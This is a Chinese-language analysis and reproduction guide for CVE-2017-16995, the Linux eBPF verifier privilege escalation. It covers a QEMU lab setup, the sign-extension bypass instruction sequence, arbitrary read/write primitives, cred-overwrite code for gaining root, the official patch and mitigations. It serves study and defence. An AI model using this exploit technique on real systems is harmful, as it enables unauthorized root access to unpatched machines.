CVE-2017-16995复现与分析
字数 2220 2025-08-25 22:58:40

CVE-2017-16995 eBPF内核提权漏洞分析与复现指南

漏洞概述

CVE-2017-16995是一个存在于Linux内核eBPF模块中的本地提权漏洞,影响内核版本小于4.13.9的系统。该漏洞源于kernel/bpf/verifier.c文件中的check_alu_op函数对ALU指令的验证不充分,导致攻击者可以绕过eBPF验证器的检查,执行恶意代码提升权限。

漏洞危害:

  • 允许普通用户发起拒绝服务攻击(内存破坏)
  • 允许普通用户提升至root权限

漏洞复现环境搭建

环境准备

  1. 内核编译

    • 使用4.4.110版本内核(可从官方下载)
    • 编译命令:make menuconfig(确保启用eBPF相关选项)
    • 编译生成二进制内核文件
  2. 文件系统准备

    • 使用BusyBox构建最小文件系统
    • 将编译好的exp打包进文件系统
  3. QEMU启动

    qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -nographic
    

漏洞利用步骤

  1. 下载并编译exp(如Exploit-DB上的POC):

    gcc ./poc.c -static -pthread -o poc
    
  2. 在目标系统上执行编译后的程序:

    ./poc
    
  3. 成功执行后将获得root shell

eBPF技术背景

eBPF基础

eBPF(extended Berkeley Packet Filter)是传统BPF的扩展版本,主要改进包括:

  1. 指令集扩展

    • 寄存器从2个增加到10个(R0-R9)
    • 寄存器宽度从32位扩展到64位
    • 新增ALU64操作指令
  2. 功能增强

    • 支持更复杂的数据结构和map类型
    • 引入验证器确保安全性
    • 支持JIT编译提高性能
  3. 编程模式

    • 可以直接编写C代码(通过LLVM编译)
    • 支持map数据结构实现用户态-内核态数据交换

eBPF指令集架构

eBPF虚拟机架构:

  • 11个64位寄存器(R0-R10)
  • 固定大小的栈空间(MAX_BPF_STACK)
  • 丰富的指令类型

寄存器映射(x86_64架构):

R0 -- RAX
R1 -- RDI
R2 -- RSI
R3 -- RDX
R4 -- RCX
R5 -- R8
R6 -- RBX
R7 -- R13
R8 -- R14
R9 -- R15
R10 -- RBP

指令格式:

struct bpf_insn {
    __u8    code;       /* opcode */
    __u8    dst_reg:4;  /* dest register */
    __u8    src_reg:4;  /* source register */
    __s16   off;        /* signed offset */
    __s32   imm;        /* signed immediate constant */
};

主要指令类型:

  • BPF_LD/BPF_LDX:加载指令
  • BPF_ST/BPF_STX:存储指令
  • BPF_ALU/BPF_ALU64:算术逻辑运算
  • BPF_JMP:跳转指令
  • BPF_CALL:函数调用
  • BPF_EXIT:程序退出

eBPF验证器机制

eBPF验证器是确保eBPF程序安全的关键组件,主要执行两种检查:

  1. DAG检查

    • 构建控制流图(CFG)
    • 检测不可达代码和循环
    • 确保程序有界性
  2. 模拟执行检查

    • 跟踪寄存器状态变化
    • 验证内存访问安全性
    • 检查指针操作合法性

关键验证函数:

  • bpf_check():验证入口函数
  • do_check():核心验证逻辑
  • check_alu_op():ALU指令验证(漏洞所在)

漏洞技术分析

漏洞根源

漏洞位于check_alu_op函数中对ALU指令的验证逻辑:

static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
{
    // ...
    if (opcode == BPF_MOV) {
        if (BPF_SRC(insn->code) == BPF_K) {
            /* register = imm */
            regs[insn->dst_reg].type = SCALAR_VALUE;
            __mark_reg_known(regs + insn->dst_reg, insn->imm);  // 漏洞点:未区分32/64位
        }
    }
    // ...
}

问题在于验证器对32位和64位MOV指令的处理没有区分,导致符号扩展问题被忽略。

验证器与实际执行的差异

验证器中的检查流程:

  1. 遇到MOV32指令时,将立即数直接存入寄存器状态
  2. 认为后续比较指令会按32位进行比较

实际执行时的行为:

  1. MOV32指令执行时会进行符号扩展(movsxd
  2. 比较指令使用64位值进行比较
  3. 导致验证结果与实际执行不一致

绕过验证器的关键指令序列

[0]: ALU_MOV_K(0,9,0x0,0xffffffff)    ; R9 = 0xffffffff (验证器认为)
[1]: JMP_JNE_K(0,9,0x2,0xffffffff)    ; if R9 != 0xffffffff jump L2
[2]: ALU64_MOV_K(0,0,0x0,0x0)         ; R0 = 0
[3]: JMP_EXIT(0,0,0x0,0x0)            ; exit
[4]: ...恶意指令...                    ; 验证器认为不可达,实际会执行

实际执行时:

  • 指令0将0xffffffff存入R9,但被符号扩展为0xffffffffffffffff
  • 指令1比较时0xffffffffffffffff != 0xffffffff,条件成立
  • 执行后续恶意指令

漏洞利用技术

利用步骤

  1. 构造恶意eBPF程序

    • 包含验证器绕过指令
    • 实现任意地址读/写原语
  2. 获取cred结构地址

    • 通过socket结构体泄露内核地址
    • 遍历查找cred结构
  3. 修改cred提权

    • 将uid/gid等字段改为0
    • 生成root shell

关键利用代码分析

  1. map操作原语
// 任意地址读
[32]: JMP_JNE_K(BPF_REG_6, BPF_REG_0, 0x3, 0x0)  // if r6 != 0 jmp 36
[33]: LDX_MEM_DW(BPF_REG_3, BPF_REG_7, 0x0, 0x0) // r3=[r7]
[34]: STX_MEM_DW(BPF_REG_2, BPF_REG_3, 0x0, 0x0) // [r2]=r3

// 任意地址写
[39]: STX_MEM_DW(BPF_REG_7, BPF_REG_8, 0x0, 0x0) // [r7]=r8
  1. cred结构修改
void hammer_cred(unsigned long addr) {
    write64(addr, read64(addr) & 0xFFFFFFFFUL);  // uid
    write64(addr+8, 0); write64(addr+16, 0);     // gid, etc
    write64(addr+24, 0xFFFFFFFFFFFFFFFF);        // capabilities
    // ...
}

漏洞修复方案

官方补丁修改了check_alu_op函数,区分32位和64位MOV指令的处理:

@@ -2408,7 +2408,13 @@ static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
             * remember the value we stored into this reg
             */
            regs[insn->dst_reg].type = SCALAR_VALUE;
-           __mark_reg_known(regs + insn->dst_reg, insn->imm);
+           if (BPF_CLASS(insn->code) == BPF_ALU64) {
+               __mark_reg_known(regs + insn->dst_reg,
+                        insn->imm);
+           } else {
+               __mark_reg_known(regs + insn->dst_reg,
+                        (u32)insn->imm);
+           }
        }

修复要点:

  • 对BPF_ALU64指令保持原样处理
  • 对BPF_ALU指令将立即数截断为32位
  • 确保验证器状态与实际执行一致

防御建议

  1. 及时更新内核:升级到4.13.9或更高版本
  2. 限制eBPF使用
    • 禁用非特权用户的eBPF功能:sysctl kernel.unprivileged_bpf_disabled=1
    • 使用seccomp限制系统调用
  3. 启用保护机制
    • KASLR(内核地址空间布局随机化)
    • SMAP/SMEP(防止用户态访问内核内存)

扩展学习

  1. eBPF开发资源

    • 内核文档:Documentation/networking/filter.txt
    • 示例代码:samples/bpf/
    • BPF编译器集合(BCC)
  2. 相关漏洞研究

    • CVE-2016-2384:eBPF验证器缺陷
    • CVE-2017-17864:eBPF Spectre变体1
    • CVE-2020-8835:eBPF越界读写
  3. 调试技巧

    • 使用bpftool检查加载的eBPF程序
    • 通过bpf_printk()输出调试信息
    • 分析验证器日志(设置log_level=2

本漏洞分析展示了内核安全机制中细微的设计缺陷可能导致严重后果,也体现了eBPF这种强大技术背后的安全挑战。理解这类漏洞有助于我们更好地设计安全的内核子系统和使用相关技术。

CVE-2017-16995 eBPF内核提权漏洞分析与复现指南 漏洞概述 CVE-2017-16995是一个存在于Linux内核eBPF模块中的本地提权漏洞,影响内核版本小于4.13.9的系统。该漏洞源于 kernel/bpf/verifier.c 文件中的 check_alu_op 函数对ALU指令的验证不充分,导致攻击者可以绕过eBPF验证器的检查,执行恶意代码提升权限。 漏洞危害: 允许普通用户发起拒绝服务攻击(内存破坏) 允许普通用户提升至root权限 漏洞复现环境搭建 环境准备 内核编译 : 使用4.4.110版本内核(可从官方下载) 编译命令: make menuconfig (确保启用eBPF相关选项) 编译生成二进制内核文件 文件系统准备 : 使用BusyBox构建最小文件系统 将编译好的exp打包进文件系统 QEMU启动 : 漏洞利用步骤 下载并编译exp(如Exploit-DB上的POC): 在目标系统上执行编译后的程序: 成功执行后将获得root shell eBPF技术背景 eBPF基础 eBPF(extended Berkeley Packet Filter)是传统BPF的扩展版本,主要改进包括: 指令集扩展 : 寄存器从2个增加到10个(R0-R9) 寄存器宽度从32位扩展到64位 新增ALU64操作指令 功能增强 : 支持更复杂的数据结构和map类型 引入验证器确保安全性 支持JIT编译提高性能 编程模式 : 可以直接编写C代码(通过LLVM编译) 支持map数据结构实现用户态-内核态数据交换 eBPF指令集架构 eBPF虚拟机架构: 11个64位寄存器(R0-R10) 固定大小的栈空间(MAX_ BPF_ STACK) 丰富的指令类型 寄存器映射(x86_ 64架构): 指令格式: 主要指令类型: BPF_LD / BPF_LDX :加载指令 BPF_ST / BPF_STX :存储指令 BPF_ALU / BPF_ALU64 :算术逻辑运算 BPF_JMP :跳转指令 BPF_CALL :函数调用 BPF_EXIT :程序退出 eBPF验证器机制 eBPF验证器是确保eBPF程序安全的关键组件,主要执行两种检查: DAG检查 : 构建控制流图(CFG) 检测不可达代码和循环 确保程序有界性 模拟执行检查 : 跟踪寄存器状态变化 验证内存访问安全性 检查指针操作合法性 关键验证函数: bpf_check() :验证入口函数 do_check() :核心验证逻辑 check_alu_op() :ALU指令验证(漏洞所在) 漏洞技术分析 漏洞根源 漏洞位于 check_alu_op 函数中对ALU指令的验证逻辑: 问题在于验证器对32位和64位MOV指令的处理没有区分,导致符号扩展问题被忽略。 验证器与实际执行的差异 验证器中的检查流程: 遇到 MOV32 指令时,将立即数直接存入寄存器状态 认为后续比较指令会按32位进行比较 实际执行时的行为: MOV32 指令执行时会进行符号扩展( movsxd ) 比较指令使用64位值进行比较 导致验证结果与实际执行不一致 绕过验证器的关键指令序列 实际执行时: 指令0将 0xffffffff 存入R9,但被符号扩展为 0xffffffffffffffff 指令1比较时 0xffffffffffffffff != 0xffffffff ,条件成立 执行后续恶意指令 漏洞利用技术 利用步骤 构造恶意eBPF程序 : 包含验证器绕过指令 实现任意地址读/写原语 获取cred结构地址 : 通过socket结构体泄露内核地址 遍历查找cred结构 修改cred提权 : 将uid/gid等字段改为0 生成root shell 关键利用代码分析 map操作原语 : cred结构修改 : 漏洞修复方案 官方补丁修改了 check_alu_op 函数,区分32位和64位MOV指令的处理: 修复要点: 对BPF_ ALU64指令保持原样处理 对BPF_ ALU指令将立即数截断为32位 确保验证器状态与实际执行一致 防御建议 及时更新内核 :升级到4.13.9或更高版本 限制eBPF使用 : 禁用非特权用户的eBPF功能: sysctl kernel.unprivileged_bpf_disabled=1 使用seccomp限制系统调用 启用保护机制 : KASLR(内核地址空间布局随机化) SMAP/SMEP(防止用户态访问内核内存) 扩展学习 eBPF开发资源 : 内核文档: Documentation/networking/filter.txt 示例代码: samples/bpf/ BPF编译器集合(BCC) 相关漏洞研究 : CVE-2016-2384:eBPF验证器缺陷 CVE-2017-17864:eBPF Spectre变体1 CVE-2020-8835:eBPF越界读写 调试技巧 : 使用 bpftool 检查加载的eBPF程序 通过 bpf_printk() 输出调试信息 分析验证器日志(设置 log_level=2 ) 本漏洞分析展示了内核安全机制中细微的设计缺陷可能导致严重后果,也体现了eBPF这种强大技术背后的安全挑战。理解这类漏洞有助于我们更好地设计安全的内核子系统和使用相关技术。